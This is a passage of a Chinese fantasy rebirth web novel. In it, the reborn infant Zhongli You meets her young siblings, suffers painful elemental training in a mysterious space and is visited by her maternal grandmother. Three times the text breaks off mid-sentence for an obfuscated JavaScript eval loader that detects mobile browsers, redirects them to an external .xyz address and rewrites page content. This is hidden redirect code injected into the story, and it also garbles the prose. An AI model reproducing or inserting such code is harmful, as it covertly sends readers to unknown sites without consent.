她拿着玉佩想给她取下来,怕玉佩细绳会硌到她,手里捻着细绳,细绳材质自然也不粗躁,她想了想,还是将玉佩放进钟离悠的衣服里。 “这是你阿爹阿娘留给你的,要收好。” 侯珍又戳了戳钟离悠的小脸蛋。 钟离悠摸摸颈间的细绳索,阿娘阿爹的遗物并不少,洗墨院里处处都是他们的生活痕迹,书房里还挂着好几幅他们的活墨画像,但这块玉佩意义对钟离悠完全不一样,这是她和父母间唯一的联系。 一想到这是父母给她亲手带上的,她的胸口就莫名温暖起来,暖到又有点想流泪。 上辈子,这块玉佩从来都没有离过她的身,这辈子,她同样会好好保管这块玉佩。 “好了,你抱着她在屋里走走,顺便给她拍拍嗝。”侯珍对燕姑说道。 “是。” 燕姑抱着钟离悠起身。 侯珍看着两人在房里转悠着的身影,话说,送给钟离家的信不知道到了东隅境内了吗? 燕姑给钟离悠拍完嗝后,将她放回到小床里,轻轻推动着小床,小床一晃一晃的,头顶悬挂着的十二神兽也跟着摇晃起来,钟离悠分不清自己是被晃晕了还是真的被哄困了,脑袋一昏,眼皮一重,睡了过去。 这次,她倒没再做什么梦了。 - 钟离悠是被看醒的,迷迷糊糊中她感受到有人在看她,似乎还不是一个人,他蹬蹬脚,伸了一个懒腰,突然听见低低的一声惊呼,“唔,她动了!” 嗯?这是谁的声音? 钟离悠揉揉眼睛,一睁眼就看到两大一小共三个脑袋。 梅稚雪双手捂住嘴,又惊呼一声,凑到一旁梅疏晏的身边,悄咪咪道,“她醒了!” 说完,脑袋又伸向钟离悠,又缩回,凑到梅疏晏耳边,“她转头了!” 脑袋又伸,又缩回,“她在看我!” 钟离悠:“……” 原来阿姐小时候竟然是这个样子,脑袋还扎着小啾啾 本来她以为再见到兄姊们,她说不定还会忍不住哭出来,没想到,她现在心里只有一种“原来兄姊们小时候是长这个样子”的新奇感。 三人都踩着小板凳,梅稚雪踩着的要高一些。 梅疏晏和梅稚雪站在摇床的左边,梅疏晏还拉着妹妹的右手臂,防止她一个重心不稳,摔了下去。 梅疏野独自站在摇床的右边,嘴里还叼着一根野草,他取下野草,在钟离悠面前晃着,先朝左移,又朝右移。 钟离悠:“……” 梅疏野:“哥,我怀疑她是个傻的,她眼睛动都不动。” 钟离悠:“……” 梅疏晏瞥他一眼,“或许你是个傻的。” 梅疏野:“……” 这时,头顶小揪揪的小姑娘突然将脑袋探进摇床里,奶声奶气道,“我比你大,我是姐姐,你要叫我阿姐。” 钟离悠:“!” 猝不及防被年幼阿姐萌到。 “不!”梅疏野横插一脚,“你要先叫哥哥,哥哥哥哥哥哥哥哥哥哥哥哥哥哥哥……” 钟离悠:“……” 哥,你现在好像一只咯咯叫的小鸡。 她知道二哥是有些吊儿郎当、不太正经,但是,大部分的时候还是挺可靠的,不成想,小时候竟然是这副赖皮样子。 “好了,姑娘郎君们。” 燕姑走了进来,身后跟着一个拖着木盘的侍女,“现在该给妹妹喂水了。” 钟离悠被燕姑抱起来喂水。 “就喝这么点?” 梅疏野看着木碗里的水问道。 “妹妹还太小了,不能喝太多。”燕姑回答道。 梅稚雪直直地看着木勺递在钟离悠的嘴巴,钟离悠动嘴将水抿进去,哇了一声,“她真的喝进去了诶,好通人性!” 钟离悠:“?” 通人性? 梅疏晏:“……” 燕姑也被逗笑了,“雪姐儿想喂妹妹喝水吗?” “想!”梅稚雪点头。 “那你试试。” 燕姑虽然让梅稚雪喂水,但还是用手虚扶在勺子处。 梅稚雪将勺子递在钟离悠的嘴巴,钟离悠配合地喝下。 “哇!真的喝了!” “我!我也要喂!”梅疏野举起手,小声喊道。 钟离悠觉得自己此刻就像一只极吸引小孩的珍稀灵兽一样,待被梅疏野和梅疏晏一人又喂了一小口水后,钟离悠又被放进她的小床里。 三个小脑袋又聚拢过来,哦不,这次是四个脑袋,不知从哪儿鬼混回来的白绒球跳在了梅疏野的脑袋上,咬着他的头发。 钟离悠又摸了摸眉中间的位置,依然没反应。 行吧,等待吧。 - 三个月大的婴儿钟离悠过了好几天如她名字般悠闲且规律的生活,没再做预知梦,也没掉进什么稀奇古怪的空间里,每天吃了就睡,睡醒就吃,时不时逗弄下哥姐们。 但偶尔她的房间里还迎来过一个“不速之客”,覆面黑衣,她阿娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283203|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的私卫。 对方是夜里来到她的房间,当时她正酣睡着,还是白绒球在她意识里一顿吱哇乱叫,她才醒过来,发现床边隐隐约约有个人影。 对方似乎只是确认她的情况,只在她的床边略站了站,就隐入身后的无际黑暗中。 这些私卫并非家族私卫,仅听从她阿娘一个人的号令,因此也不存在什么继承,在她阿娘去世、她们把她送回梅家后,这些人就各自散去了 钟离悠也没想到,竟然还有一个人会回来看她。 而且对方实力必然不低,不然不可能进她祖父祖母的院子如过无人之境。 进出也丝毫没有任何动静。 钟离悠侧耳听着,只听到噼里啪啦的落雨声。 朝歌城这雨到底什么时候才停? 这一天凌晨开始,天便开始泼泼洒洒地下雨。到了清晨,雨势逐渐浩大,老天仿佛非要把这座朝歌城泡软一般,但唯一让人心情松快一点的是,天色总算没有之前那么昏暗,难得是个天色亮堂明净的雨天。 到了下午,雨渐渐转细,再一抬眼,不知何时,淅淅沥沥的雨化为细细的雪。 下了一场雨,淅淅沥沥的雨化为细细的雪。 朝歌的冬天来了。 祖母院子,钟离悠的小房间里。 屋内窗明几净,燃起的银香炭烘得这间屋子暖暖的,梅疏野折了一只还是花苞的梅花枝,用炼气一朵一朵催开后,先拿去逗了逗梅稚雪,再拿去逗钟离悠,这次钟离悠配合地跟着梅花左转右看,梅疏野由此认定她喜欢梅花,便又从祖母房间里偷拿了一个花瓶过来,将花插进花瓶里,再把花瓶放在钟离悠看得到的地方。 许是因为三个小家伙每天定时定点来看她,就跟吃饭一样规律,这辈子她竟然提前被请出了祖母的房间,钟离悠一边装着手舞足蹈、咿咿呀呀的婴儿样逗着哥姐,一边想着。 钟离悠床边,梅稚雪和梅疏野两人玩拍画片。 画片手掌大小,长方形,每张画片上画着不同的神兽、灵兽和妖兽,把正面压在地上,用另一张画片去拍,拍翻面了,这张画片边归于拍的人。 这把轮到梅稚雪拍,梅疏野从自己的画片堆里抽出一张神兽夫渚的画片,梅稚雪惊喜瞪大眼睛,夫渚是丹阳国的第一只神兽,因而它的画片最受欢迎,然而它的画片也极为稀少。 而梅稚雪喜欢它的原因还有一层,这只神兽还是她老祖带回来的,她一直都想要一张,梅疏野今天竟然这么大方? 果然,下一秒,梅疏野又收回夫渚的画片,拿出一张驺吾的画片,梅稚雪哼了声,驺吾也很不错,驺吾尾巴颜色很好看。 梅稚雪拿着一张骷髅白虎神兽画片,没办法,她都是神兽画片,都是祖父偷塞给她的,但没想到太富裕了也是种烦恼,如果这次她没把梅疏野的画片翻过来,她这种骷髅白虎画片便又便宜了梅疏野。 哼,她才不要便宜梅疏野。 梅稚雪一拍击中,欢呼出声,与此同时,翻过来的驺吾画片钻出一只用橙红元素幻化的巨大驺吾,两人齐齐抬头看着,狮子脑袋,猛虎身体,漂亮的蓬松大尾巴。 驺吾绕着屋里上下跑了一圈,便钻回到画布里,漂亮的大尾巴还扇了梅疏野一尾巴,才老实收回到画片里。 被扇了一巴掌的梅疏野:“……” 性情倒也不必复刻得如此真实。 12. 雪花 在梅稚雪收起驺吾画片时,梅疏野忙趁这个时候,拿起了那张骷髅白虎,往地上一拍。 灰绿色的雾气从画片中转出来,一只庞大的白虎优雅地从里面走了出来,其骷髅的影子随着它的步伐在它的身体里若隐若现,突然它的脚步一顿,无数骷髅骨刺向他们飞来。 梅稚雪还往后躲了躲,梅疏野却兴奋地迎了上去,万千骨刺在接近他的瞬间,又化为灰绿色雾气,渐渐消失不见。 在钻回到画片前,骷髅白虎应该还有一声虎啸,梅疏野正兴奋等待时,一簇小火苗打断了正抬起脑袋准备长啸的白虎。 梅疏野不满地看向坐在窗边下百妖棋的梅疏晏,“你干嘛!” 梅疏晏放下法杖,重新拿起妖兽棋子,说道,“会吓到盘盘。” 梅疏野撇嘴,反驳道,“不可能!她胆子大着呢!而且就是要从小锻炼……” 说着说着,梅疏野没了声,他恋恋不舍地看着梅稚雪收起那张他觊觎良久的骷髅白虎画片,砸砸嘴回味道,“以后我的契约灵兽一定也要找个这么厉害的。” “那我的灵兽一定也比你更厉害!”梅稚雪嘟嘟嚷嚷道,“说不定,我还有自己的本命灵兽呢。” “努力梦吧,妹!妹!”梅疏野回道。 小床里的钟离悠老成地摇摇头,二哥啊二哥,你别说,还真让人家梦到了。 阿姐的本命灵兽是只通体雪白的七尾狐,近神兽级别,不过是只成长型,刚从阿姐血脉里被唤醒时还只是一只普通的一尾狐崽子。 后来,它修到了五条尾巴,只是……在阿姐毁容的那场试炼中,它的五条尾巴被生生折断为两条。 “外面好像下雪了。”梅疏晏望向窗外说道。 斗嘴的两个人的注意力瞬间被转移,同时转过脸,齐齐朝梅疏晏跑去,默契地把他挤到一边,梅疏晏瞬间被挤得东倒西歪,乱七八糟的。 梅稚雪、梅疏野一大一小脑袋整齐伐一地朝窗户缝隙探去。 梅疏野伸手把窗户又推高了一些,惊呼道,“真的下雪了诶!” “就是好小……”梅稚雪略带遗憾地说道,“希望快点下大一点吧,到时候让阿爹带我们去堆雪人,雕冰兽。” 梅疏野突然将手伸出窗外,指尖凝结出炼气,梅稚雪好奇地顺着他的手向外张望,只看到一缕淡淡白雾,那些白雾承托着那些细雪,化为白乎乎一团。 紧接着,梅疏野的手指微微一收,白雾散去,一朵晶莹剔透、纹理清晰的漂亮雪花从白雾团中升起,随着梅疏野手指的收紧,渐渐向窗边移动,来到梅稚雪的面前。 “哇!” 梅稚雪惊喜地用手指轻轻碰了一下,哇塞,真的能够碰到诶! 她还想再碰一下,冰雪花却调皮一躲闪,她跟着看过去,冰雪花停在梅疏野的耳边。 梅疏野得意洋洋笑着,右手食指竖着,食指轻轻一点,顶上的雪花也跟着上下一动。 “想要玩?可以。”梅疏野点头,“先好好叫声哥哥。” 不!可!能! 梅稚雪抿紧唇,又看了一眼他耳边那朵晶莹剔透的雪花,还是犹豫道,“我才不叫。”只不过气势显然没那么足。 “很好!”梅疏野用空着的左手比了一个大拇指,赞赏肯定道,“不愧是梅家的女儿,就要这样有骨气!怎么能为一朵小小雪花低头呢!” 说完,他就干脆利落地带着雪花走了。 气死她了! 梅稚雪气得当场磨牙,他明明知道,只要他再劝一句,她就会勉强叫上一句的!他明明知道! 梅稚雪委屈巴巴地看向长兄。 接收到梅稚雪眼神,梅疏晏抿了一下唇,张嘴欲言,还是没言出来,又抿了一下唇,再度张嘴,言了出来:“你知道的,阿兄是火元素法者。” “试试嘛……阿娘说过,只有尽力试过才知道。” “那就……试试吧。” 梅疏晏掏出自己的法杖。 这边的梅疏野带着雪花来到钟离悠面前,“盘……” 嘶—— 梅疏野轻吸一口气,还是叫不出这个称呼啊,他们不觉得有点奇怪吗?好好的人干嘛叫什么盘子。 钟离悠没管憨憨的二哥为何突然顿住,新奇地看着冰蓝色的雪花,总算来了点新东西了。 这时雪花突然降下来,在她的鼻尖轻轻一点,又迅速升了上去,梅疏野那张笑脸又凑了进来,“给你取个新的小名,叫豌豆,你这么小一点,叫这个小名正合适。” 诶? 钟离悠一愣,原来这个时候二哥就给她取了这个小名吗? 在她上辈子的记忆中,刚开始只有二哥叫她豌豆,许是二哥叫的多了,后来长兄与阿姐也会偶尔叫叫,没想到竟然是从现在就开始了。 梅疏野还在用雪花逗她,依然是那老一套的逗法,让雪花左边挪挪,再右边飘飘,偶尔下降点一下她的脸蛋。 她听见不远处炭火燃烧时偶有噼里啪啦的爆裂声,听见阿姐嘀嘀咕咕的说话声和长兄时不时的应和声。 突然间,钟离悠觉得,要是时间能够停在这个时候,也很不错。 人要是刚出生就能记事就好了,就像她现在这样,也许能多记住一些美好的回忆。 天色接近傍晚时,风刮得越来越紧,雪也紧跟着下得又紧又密,三个小孩被叫出去吃晚饭,梅稚雪高高兴兴地碰着一朵火红色的冰雪花走了,此刻,一辆普通的马车通过朝歌城防的检查,缓缓驶进内城门。 风雪挑起车帘,火红色的头发一闪而过。 钟离悠用完她混合了灵液的羊奶后,再度被燕姑送回到她的小床里 钟离悠照例摸了摸自己的眉间痣,她已习惯不再有任何动静,没想到这次,既熟悉又陌生的滞空感席卷而来。 一进这个黑白空间,钟离悠照旧啪嗒双腿先跪下,还是痛得遭不住。 依旧是全身被暴力疏通的钝痛感,钟离悠干脆半趴在地上,但这次这份疼痛她倒是能承受,她隐隐觉得,这份土气带来的疼痛似乎要结束了。 接下来会发生什么呢? “不是!你真的又把我们弄进来了?”白绒球边说边捡着地上的瓜子。 它磕瓜子正磕得起劲,莫名就被卷了进来,兜里的瓜子噼里啪啦掉了一地。 钟离悠看着它撅起圆滚屁股捡瓜子的样子,有些难言,“……你少吃点瓜子吧,也不怕上火。” 白绒球捡完最后一颗瓜子,哼哼道,“你不懂,天道之心才不会上火。” 行吧,你是天道之心你说了算。 钟离悠打量了一圈这个久违的空间,低下头,继续与身体里的疼痛打交道,却突然意识到,地上的白没有再向前流动了。 再一抬头,天上的黑同样也停止了流动,天地一切都仿佛处于静止中,包括她身体里的痛。 天地间气也静止沉降下来,化为肉眼可见的万千细刃。 钟离悠明白过来——土生金,金主沉降、肃杀。 下一秒,万千细刃向他们袭来,钟离悠扯过还在发呆看天的白绒球,带着它利落一滚,躲过一道锋利气刃。 钟离悠迅速爬起,又立刻低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283204|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,躲过几乎贴着头发削过的气刃,一阵剧痛从背后袭来,从左后肩到右后腰,还没反应过来,一道气刃横着劈过来,宛如腰斩,钟离悠被劈出空间。 小床里,钟离悠大口大口呼吸着,心有余悸地摸着自己的腰,它还在,身前身后劈开的地方还在幻痛中。 据《五素相》的记载,最初,法修的五行元素中,每种元素都只能使用出一种法阵,水木元素为治愈,土元素为防御,金火元素为攻击。 后来,每一类元素的法修者开始拓宽自己元素的使用方法,水木法修者补齐防御与攻击的法阵,土元素法修者补齐攻击法阵,金火元素法修者补齐防御法阵。 但即使补齐了,轮攻击法政,金火元素仍为第一。 今天她倒是好好领会了纯粹的金气攻击的力量,若是再加上法阵咒语加持,不知道还会厉害成什么样子。 “……你,你不会还想着要进去吧?”白绒球看着钟离悠若有所思的模样,犹豫再三问道。 “怎么?”钟离悠看向白绒球。 “就是问问……所以你真的还要去啊?” 钟离悠目露疑惑,“为什么不?” 白绒球抓了抓自己的脑袋毛,为难道,“你难道不怕痛吗?” 钟离悠侧头完全看向它,“你难道不想弄清楚这个空间到底是怎么回事吗?” 白绒球又犹豫着,原地蹦跶几下后,泄气般坐下,“好吧好吧,我告诉你吧,其实我大致应该猜出来这个空间是怎么回事了。” 钟离悠来了兴趣:“说来听听。” “虽然我也不是很确定,不过大差不差就是那么一回事。”白绒球先说好前提,然后道来,“这应该就是一个能提升修为的空间,按你祖母的说法,可能你梅家老祖就有这么一个空间,将这个空间内化为血脉契约,所以才又会出现在你的身上。” 钟离悠思索着,血脉契约的话确实有可能,只不过血脉契约这个说法有点年头了,据说,有修行者获得什么东西想要传承给自己的血脉,便会进行血契,这样东西便会随机出现在他的直系血脉中。 这也是九乌大陆稍微有些底蕴的人家,都格外重视直系血脉,谁知道往上数三代哪个老祖有没有留下什么好东西呢。 “不过按你这么说,那为什么上辈子的我没这颗痣?”钟离悠问道。 白绒球瞬间卡壳,这个问题他也想过,没想出来,如果说这辈子的钟离悠和上辈子有什么不同,那最大的不同就是她重生了,“难道是因为我的存在?” 钟离悠:“……” 钟离悠:“你认真的?” “我当然是认真的!少瞧不起球了!” 从上辈子到这辈子,唯一一段真正空白的时间就是在她死后到重生,她开口问道,“你到底知不知道我死后到重生这个阶段,发生了什么?” 白绒球摇头,“我是在你重生后,天道才生出我,把我派到你身边,我知道的也只是天道允许我知道的。” 钟离悠:“那我重生和这颗痣有关吗?” 白绒球:“这个倒是无关……哎呀,说远了,我要跟你说的是空间的事情!” 钟离悠:“你说。” 还以为能借这个话题多套一点话出来。 “这个空间里的气很玄妙,同时容纳着道修者的练气和法修者的元素之力,如果是修炼者进来,修炼速度必然要提升许多,但……你又没有五行七脉。” 白绒球是真心觉得,钟离悠没必要承受那些痛苦,这些痛苦换不回来任何回报,既然已知是徒劳无功,何必又试? 13. 外祖 钟离悠嗯了一声,“我大概猜到了,可我觉得,这很有意思。” “很有意思?!”白绒球跳脚,“你说很有意思?你是喜虐嗜痛的变态吗?” “对呀,我很好奇它之后还会如何变化发展,况且,这也许还和我梅家老祖有关,我自然是想弄清楚的。”钟离悠说道。 还有一个理由,她没有五行七脉,任何炼气或是五行元素之力进入她的身体,她都没有任何感觉,而她这次空间里的那些气进入她的身体时,她却有了感觉,即使是痛觉。 “谢谢你的关心。”钟离悠补充了一句。 白绒球跳脚得更加厉害,“我才不是关心你!我只是见不得人犯蠢!” 它只是想着,她没有五行七脉,很有可能分辨不出空间的状态,它这才出自好心,提醒了那么几句,好吧,也是看在梅府厨子手艺的份上。 钟离悠:“好,你只是见不得人……” 吱呀一声,门打开的声音。 钟离悠赶忙闭眼装睡,心里问白绒球,“是谁进来了?” “你祖母。” 钟离悠放下心来。 “还有……” 钟离悠瞬间又警醒过来,“还有谁?” 白绒球却是没回答了。 钟离悠察觉到有人靠近了自己的小床,正犹豫着要不要装醒时,她被人抱了起来。 霎时间,她感受到不止一道视线落在她的身上,而且,抱起她的这个怀抱也颇为陌生,祖母还会让谁来抱她呢? 钟离悠下意识动了动眼球,下一秒,一根手指戳在她的脸上。 “装睡呢。” 祖母的声音响起。 “她还会装睡?才这么小一点。”一个陌生的年轻女声惊讶道。 祖母哼笑道,“鬼精着呢。” 果然,装睡得控制好眼球不要乱动,钟离悠暗暗想道。 既然已经被拆穿了,钟离悠干脆装作被吵醒的样子,脑袋蹭蹭襁褓,动动手脚,嘤咛两声,再黏黏糊糊地睁开眼。 让她看看到底是谁来了。 彻底睁开眼睛,看清眼前人后,钟离悠傻眼了。 天爷诶! 眼前人一头火红色的寸头,每件系着一根红绳狼牙额饰链,右耳挂着一只象牙圆环,而这五官长相,虽然比她上辈子在东隅见到的要年轻许多,可她还是认出来了,因为这是她的亲外祖母,钟离祝。 上辈子钟离悠十五岁去的东隅,在那里第一次见到她的外祖母,英气却又不失和蔼,她知道她外祖母年轻时行事颇为不羁,但竟没想到不羁到这个程度,这头发到底咋变红的啊? “母亲,我怎么觉得她好像认得你一般?”一个不同于先前那道声音的低沉女音响起。 钟离悠望过去,又一把蘸满了红颜料的刷子靠近了她,红刷子开口,“哟,看起来也好像认得我。” 自然是认得的,这又一把红刷子正是她的二姨,钟离澜,她也莫名留着一头红色短发。 钟离澜抬起右手,那只温暖的大手落在钟离悠的头顶上,“都说外甥肖姨,我瞧着磐磐长得确实挺像我的。” “让我也来仔细瞧瞧。”伴着清脆的女声,又一个脑袋凑了过来,钟离悠望过去,是她外祖母的义女,她的小姨,钟离溪。 她上辈子和这个小姨相处不多,没什么感觉,但她不太喜欢她未来那双儿女,也因此不太喜欢这个小姨了,至少没有和面前这个二姨、没来的大姨钟离漪那么亲近。 奇怪的是,现在看着对方澄澈温柔的眼眸,钟离悠倒觉得很是亲近,也不知道是否是她的错觉,她莫名觉得现在看到的小姨和上辈子给她的感觉很是不一样。 现在的小姨给她的感觉很是邻家,远没有上辈子看到的那么八面玲珑,不过也不是说不通,毕竟这之间隔着十多年的时间,性情变化甚至是性情大变也是正常的事, “我觉得眼睛和二姐你很像,但睫毛要比二姐你的长多了。”钟离溪说道。 “长得还是跟她阿娘小时候像。”外祖母钟离祝直接说道,“好了,你们两个先出去吧,让我和侯夫人说说话。” “是。”两姐妹抱拳对着钟离祝和侯珍分别行了一礼,然后退出房间。 随着吱呀一声门响,房间内陷入安静。 “快有七年没见了吧。”侯珍边说边做了个请的姿势,“坐吧。” 两人在塌上坐下,钟离祝还抱着钟离悠。 “六年半。”钟离祝回答道。 侯珍拿起茶几上茶壶,给钟离祝和自己倒了一杯热茶。 钟离祝拿起热茶喝了一口,放下茶杯,顺势薅了一把自己的头发,“收到信的前几天,拍卖行收到一只七阶灵兽,是只鬼赤红蛛,在驯服它的过程中,被它喷了一身火,头发燎了一大半,干脆就把头发给剃了。” 原来如此,钟离悠心想,鬼赤红蛛有一个特点就是,一旦事物沾到它喷出来的火,那些事物就会被染成火红色,要至少过两三年的时间才会消失。 外祖母钟离祝是个大御兽师,御兽师的等级按照灵兽的等级共分为十三阶,能够驯服七阶以上的灵兽的御兽师便被称为大御兽师。 侯珍:“原来是这样。” 钟离祝沉吟片刻,再度开口:“我就直接说了,这次我来,还想着把钟离悠带回东隅。” 钟离悠:诶?还有这一出? 钟离祝接着说道,“你知道的,东隅现在进出管控得越来越严格,尤其是对我们这种东隅人,我们自然是没办法常常来到丹阳看她,所以我想着还是将她带回到东隅。” “反正等她十三十四岁的时候还是会去东隅学院,提前去东隅适应一下也挺好。” 侯珍喝着茶,一时间没有做声。 钟离祝叹了一口气,“接到你寄来的信后,清儿她阿爹直接急晕了过去。” “我和清儿两个姐姐伪装出了东隅,先去了一趟死无葬身地看了一眼,来朝歌的路上倒听到了一些风言风语。” 侯珍放下茶杯,“你是指,那些说磐磐她阿爹因好大喜功,导致这次死无葬身地之惨事的言论吗?” 钟离祝颔首,“正是,恐怕只有这样的说法,才能解释为什么两个大宗者级别的人物竟然会在那里自爆。” “由此可见,”钟离祝的声音放缓,“丹阳王室不想让人知道他们真正的死因是出现了混沌巨物,而且不出意外的话,应该还想把真正死因压得死死的。” 钟离悠睁大眼睛,立马去找白绒球的身影,却哪里都没看到。 竟然现在就出现了混沌巨物? 钟离祝:“如果把这次惨事归咎于他们夫妻的话,他们女儿待在丹阳,未必好过,不如待在东隅。” “本来是这个道理。”侯珍终于回答这个问题,“不过,她没有五行七脉,恐怕还是留在丹阳比较好。” 等等—— 谁?! 没有五行七脉?! 钟离祝猛地低下头。 钟离悠朝她眨眨眼。 钟离祝直接外泄出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283205|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神力,探进钟离悠体内。 怎么可能没有五行七脉?这简直和说一个人出生没有五官一样荒谬。 钟离祝整整仔细探查了三遍,没有找到任何封印或者受损的痕迹,确确实实没有五行七脉。 “这是怎么一回事?”钟离祝沉声问道。 “应该是天生没有。” 钟离祝思索片刻:“你说留在丹阳比较好,可是有什么办法?” 侯珍摇头,“若是五行七脉受损,还能请良医一补,但若天生没有,却没法找神医手搓一条出来。” “把她留在丹阳,一是想着等她周岁时,请国祝师给她算一卦,二呢……” 钟离祝没忍住打断她的话,“国祝师……指的是许无负?” 侯珍点头说是。 许无负的大名,钟离祝自然是知道的,天下应该也没几个人不知道。 钟离祝自己也信卜卦相面,她的拍卖行里也笼络了一批卦师,她信人有命数,也信卜卦算命是命数中的一环。 在她看来,人可以在承认命有定的基础上对命运略微推一把手。 侯珍继续道:“所以至少磐磐现在是没法跟着你前往东隅的。” “再者呢,东隅要求进入者至少为道者九阶或法者九阶,强者如云,这也代表隐含的危险颇多。她若以这样的处境待在东隅未必快乐,长在丹阳或许要比在东隅自由一些。” “况且东隅的时节也异于其他地方,极昼极夜交替更生,气候也寒冷,未必适合磐磐生活。” 钟离祝短叹一声,良久,再度开口:“那你们对她作何打算?” 侯珍摇脑袋,“她的人生,我们无论如何也打算不了的。” 侯珍说完,顿了一下,又补道,“她小的时候,自然跟她几个哥哥姐姐一样教,待她长大后,且看她想做什么。” 钟离祝闻言笑了笑,一扫之前的忧虑,“也是,她母亲我也是由着她做她想做的事,除了她生下的这个东西外,她应该也没有什么遗憾的事了。” 钟离祝起身,将怀里的钟离悠放回到小床里,给她掖好被子,直起身后,意念一动,储物戒里的金针和巴掌大点的云烟壶出现在她的手中。 钟离祝用金针刺破钟离悠的食指,挤出一滴血,用云烟壶接住,血滴落入后,壶内的云烟逐渐聚拢,将那滴血牢牢托在壶内中间。 侯珍知道钟离祝是取血做魂灯,自然没有阻拦。 梅家亦有点魂灯的习惯,魂灯亮,人在;魂灯灭,人亡。 钟离悠还在犹豫要不要哭,小婴儿被扎是该哭,但她本体是个大人了,没觉得有多痛,犹豫着犹豫着,见外祖母都收起云烟壶,她便也懒得再嚎两声了。 钟离祝将云烟壶和金针收回储物戒里,再次外泄出精神力,精神力凝炼成具体的金色细线,从钟离悠的脚开始往上缠绕,像在她的身体上织了一件金色的毛衣。 “慈母手中线,游子身上衣。”钟离祝心里默念着。 倏尔,这件金色毛衣终于织成,隐于钟离悠体内,钟离祝扶了一把床栏,撑住自己,这一下消耗了她不少精神力,头都有些晕了。 “给她下了一个保护罩,能挡一个七阶大宗师致命一击。”钟离祝对侯珍解释道。 “五行七脉的事情,我会想办法。”钟离祝转回身说道,她又弯腰摸了摸钟离悠的脑袋,“我们出来已经算久了,现在我就走了。” 小崽子,好好长大啊,钟离祝又摸了一下钟离悠的脑袋,外祖母一定给你想到办法。 14. 青帝日 在钟离悠看来,外祖母一行三人 外祖母一行三人就跟这场风雪一样,来得突然,去得也急。 这场雪之后,丹阳的天空吝啬地放了两天晴,进而又是一场连绵的鹅毛大雪,雪片像扯破了的棉絮一样在在空中飘舞着。 飘飘洒洒的细雪渐渐变为漫天飞舞的杏花花瓣,此时春光明媚,煦色韶光,生机盎然。 三月十六,春和景明,青帝日也。 钟离悠坐在榻上,靠在木窗檐边,一边晒着春日暖阳一边看着梅稚雪给她的右手腕系上五春绳。 “今天是青帝节,每个人都要系上五春绳,尤其像你这样的小孩。”梅稚雪打完最后一个结,给钟离悠解释道。 她的右手腕同样也系着一条五春绳。 系完五春绳后,梅稚雪也没放开钟离悠的手,看着她莲藕藕节般白胖的手腕,突然有点想咬上一口。 她抬头看着钟离悠白嫩的小脸,眼睛大大的,睫毛长长的,眉心一点米粒红,今天还穿着一件浅粉衣衫……怎么办?她更想咬一口了! 梅稚雪弯腰低头用力在她那张白里透红的小脸上用力亲了一口。 “豌豆。”梅疏野喊。 钟离悠抬头看过去,梅疏野坐在榻的右边,手里转着他的那条五春绳,见她看过来,梅疏野拍了拍榻沿,“爬过来。” “爬过来回来给你带好吃的。” 钟离悠扭过脑袋。 梅疏野拧起眉,他这小妹妹不咋爱动,这可咋办?开春时她就又收拾受了次风寒,近日才彻底转好,中间一直在断断续续地咳嗽着,他怀疑就是因为她太少动了所以身体才这样弱。 然而下一秒,钟离悠爬向榻的另一边,祖父和兄长那里。 祖父梅烈正在给梅疏晏编五春绳,见钟离悠爬过来后,边把编绳的手往她这边挪了挪,好让她看个清楚。 钟离悠自然对五春绳不陌生,她自己也会编,五春绳由淡青、浅绿和深绿三种丝绳,配以野草绳和柳条环构成。 青帝日的五春绳,赤帝日的五赤绳,白帝日的五霜绳,黑帝日的五冬绳,还有黄帝日的五土绳,基本都是一个配置和编法。 九乌大陆的力量之源皆始于金木水火土这五种元素,其中,木元素尤旺于春,火旺于夏,金旺于秋,水旺于冬,而土则旺于四季。 每一年的春分、夏至、秋分和冬至,其季节所属的元素在当日尤为旺盛,修炼者在那日进行修炼往往会事半功倍,尤其是木火水金这四系法修者。 故而不知从何时开始,九乌大陆有了“拜帝”的习俗,将一年的春分日、夏至日、秋分日和冬至日,分别设为青帝节、赤帝节、白帝节和黑帝节,由于土旺于四季,便将一年的最后一日立为黄帝节。 九乌大陆人人都相当重视这五帝节,因此每逢此节,路上游人如织,热闹非凡。除了佩戴特定手编绳、吃特定糕点食物外,还会举行专门的祭祀大典,游神长队会走遍城池的大街小巷里。 每个帝节都还有其特别的庆节形式,譬如青帝日,以木元素为主的炼药师们会在城池中心位置举行大集会,现场炼药切磋交流、推出炼制新药、分享丹药方等等。 炼药师组织会的人还会向城防申请空中浮船进行游街,降下各种青绿色锦囊,锦囊里主要放着药丹,部分是药材和丹方。 大多数药丹药材和丹方都是下品,极小部分是中品一阶,至于中品一阶以上的东西,炼药师组织会倒也没那么奢侈。 